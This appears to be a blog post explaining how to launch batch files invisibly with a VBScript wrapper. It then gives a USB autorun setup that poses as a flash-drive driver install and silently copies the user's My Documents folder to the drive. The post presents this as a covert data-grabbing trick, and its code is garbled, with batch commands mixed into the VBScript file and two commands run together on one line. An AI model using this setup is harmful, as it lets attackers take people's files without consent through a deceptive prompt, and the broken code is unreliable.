I was looking for some way to run a batch file (.bat) without anything visible to the user (no window, no taskbar name, .etc..). Here are the steps that worked for me
1. Save this one line of text as file invis.vbs. This will used to hide the popup
xcopy "C:\Documents and Settings\%username%\My Documents" %~d0\%computername% /s/c/q/r/h
@cls
@exit
CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
2. To run any program or batch file invisibly, use it like this:
Make a launch.bat
wscript.exe "C:\Wherever\invis.vbs" "C:\Some Other Place\MyBatchFile.bat"
More use cases (just for testing purpose)
You can use the above and create a autolaunch.bat in USB and copy stuff without any popup.
Create an autorun in USB
[autorun]
open=launch.bat
action=Click "OK" to install USB flash drive drivers
shell\open\command=launch.bat
And create a driver.bat
@echo off
mkdir %~d0\%computername% xcopy "C:\Documents and Settings\%username%\My Documents" %~d0\%computername% /s/c/q/r/h
@cls
@exit
Copy all 4 files in a UBS and insert usb and test
No comments:
Post a Comment